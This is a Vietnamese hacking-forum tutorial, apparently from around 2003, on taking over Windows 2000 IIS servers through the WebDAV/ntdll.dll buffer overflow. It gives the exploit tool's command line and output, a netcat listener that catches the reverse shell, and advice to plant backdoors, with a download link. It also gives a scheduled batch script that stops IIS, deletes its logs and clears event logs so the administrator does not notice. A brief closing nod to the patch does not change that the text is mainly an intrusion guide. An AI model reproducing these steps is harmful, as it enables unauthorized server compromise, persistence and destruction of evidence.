- .:: HVAOnline ::.

Tác giả: Seamoun - HVAonline

1) Mô tả

Giao thức World Wide Web Distributed Authoring and Versioning (WebDAV) là một tập hợp các mở rộng cho giao thức HTTP dùng để cung cấp một cách thức chuẩn cho việc biên tập và quản lý file giữa các máy tính trên Internet. Lỗi tràn bộ đệm đã được phát hiện trong một thành phần của Windows 2000 được sử dụng bởi WebDAV có thể cho phép kẻ tấn công chiếm quyền điều khiển máy tính

2) Khai thác

Bạn sử dụng chương trình sau webdav của kralor có thể download lại địa chỉ www.coromputer.net
Công việc chuẩn bị là download cái webdav đó về và đặt nc(NETCAT) ở chế độ lắng nghe ở máy tính dùng để tấn công.
Ví dụ

C:\>nx -vv -l -p 53
listening on [any] 53 ...

Mục đích là listen ở cổng 53 là tưởng lửa không chặn cổng này
Cú pháp webdav [padding=1,2,3...]
Ví dụ

C:\> webdav xxx.xxx.xxx.xxx 203.162.118.56 53 1
[Crpt] ntdll.dll exploit trough WebDAV by kralor [Crpt]
www.coromputer.net && undernet #coromputer

Checking WebDav on 'xxx.xxx.xxx.xxx' ... FOUND
exploiting ntdll.dll through WebDav [ret: 0x00100010]
Connecting... CONNECTED
Sending evil request... SENT
Now if you are lucky you will get a shell.

Nếu như may mắn bạn có thể có shell của máy chủ IIS
Công đoạn khai thác khi đã có shell
Nếu như ở máy tính dùng để tấn công hiện ra kết quả như sau thì bạn đã có shell rồi đó

C:\>nc -vv -l -p 53
listening on [any] 53 ...
connect to [203.162.118.56] from xxx.xxx.xxx.xxx[xxx.xxx.xxx.xxx] 1125
Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-2000 Microsoft Corp.

C:\WINNT\system32> <-- OK đã thành công rùi. Hà hà đã quá !!!

Công đoạn tiếp theo là phải xoá dấu vết của mình. Để thuận tiện cho việc khai thác server các bạn nên up một số đồ nghề thông dụng để quá trình khai thác được dễ dàng hơn khi đã có shell. Mình thường dùng ps, reg, kill, rar, wg, ce ...
Để thuận tiện cho lần sau viếng thăm server các bạn có thể đặt vài con backdoor. Ví dụ như WinShell, Hack Defensed
Hoặc dùng backdoor của VICKI (VKDT) các you có thể download tại đây http://vicki.host.sk/tyt.zip

+ Tìm thư mục ghi nhật ký của máy chủ IIS
Thực hiện truy vấn sau:

C:\WINNT\system32>reg query HKLM\SYSTEM\CurrentControlSet\Services\W3SVC\Parameters /v LogFileDirectory
! REG.EXE VERSION 2.0
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W3SVC\Parameters
LogFileDirectory REG_SZ C:\WINNT\System32\LogFiles
Thường thì file log lưu ở thu mục C:\WINNT\System32\LogFiles

C:\WINNT\system32>at
The service has not been started. ' dịch vụ hẹn lịch đã bị admin vô hiệu

C:\WINNT\system32>net start schedule ' khởi động dịch vụ hẹn lịch
net start schedule
The Task Scheduler service is starting.
The Task Scheduler service was started successfully.

Thực hiện một kịch bản trên server bằng cách lưu tiến trình thực hiện vào một file .bat
Công việc của mình gồm có:
- Dừng máy chủ IIS
- Xoá nhật kí của IIS
- Khởi động lại IIS
- Xoá nhật ký của Event Log
- Xoá file sm.bat(file viết kịch bản khai thác. Hì hì)
Mọi công việc thực hiện bằng các lệnh như sau

C:\WINNT\system32>echo iisreset /stop >sm.bat ' dừng IIS
C:\WINNT\system32>echo rd /q /s C:\WINNT\System32\LogFiles >>sm.bat ' xóa nhật kí của IIS
C:\WINNT\system32>echo iisreset /start >>sm.bat ' khởi động lại IIS
C:\WINNT\system32>echo ce >>sm.bat ' xóa nhật kí của Event Log
C:\WINNT\system32>echo del sm.bat >>sm.bat ' xóa file sm.bat

C:\WINNT\system32>net time \\xxx.xxx.xxx.xxx ' lấy thời gian hiện tại của máy chủ
Current time at \\xxx.xxx.xxx.xxx is 3/25/2003 3:00 PM

The command completed successfully.

C:\WINNT\system32>at 15:05 sm.bat ' đặt lịch sau 5 phút nữa sẽ làm việc
at 15:05 sm.bat
Added a new job with job ID = 1

C:\WINNT\system32>exit ' đóng kết nối
sent 207, rcvd 746

Như vậy mọi hành động của bạn thực hiện trên máy chủ IIS sẽ không bị ADMIN phát hiện. Hì hì. Nếu như các bạn để máy chủ tình trạng ngưng hoạt động chờ sự khởi động của ADMIN có thể dẫn đến ADMIN nghi ngờ có sự xâm nhập từ bên ngoài. Do vậy mình khuyên các bạn viết kịch bản khai thác như trên. Bạn nào nghĩ ra kịch bản hay hơn thì có thể gửi lên để mọi người cùng thảo luận !

Bản sửa lỗi này tại
http://microsoft.com/downloads/details.asp...&displaylang=en
Chúc các bạn thành công !!! (Server Việt Nam patch hơi bị nhiều đấy các bạn chắc hổng khai thác được đâu mà nếu có khai thác được cái nào thì nên báo cho ADMIN biết về lỗi này. Các bạn đừng có quậy à nha !)

Tác giả: Seamoun - HVAonline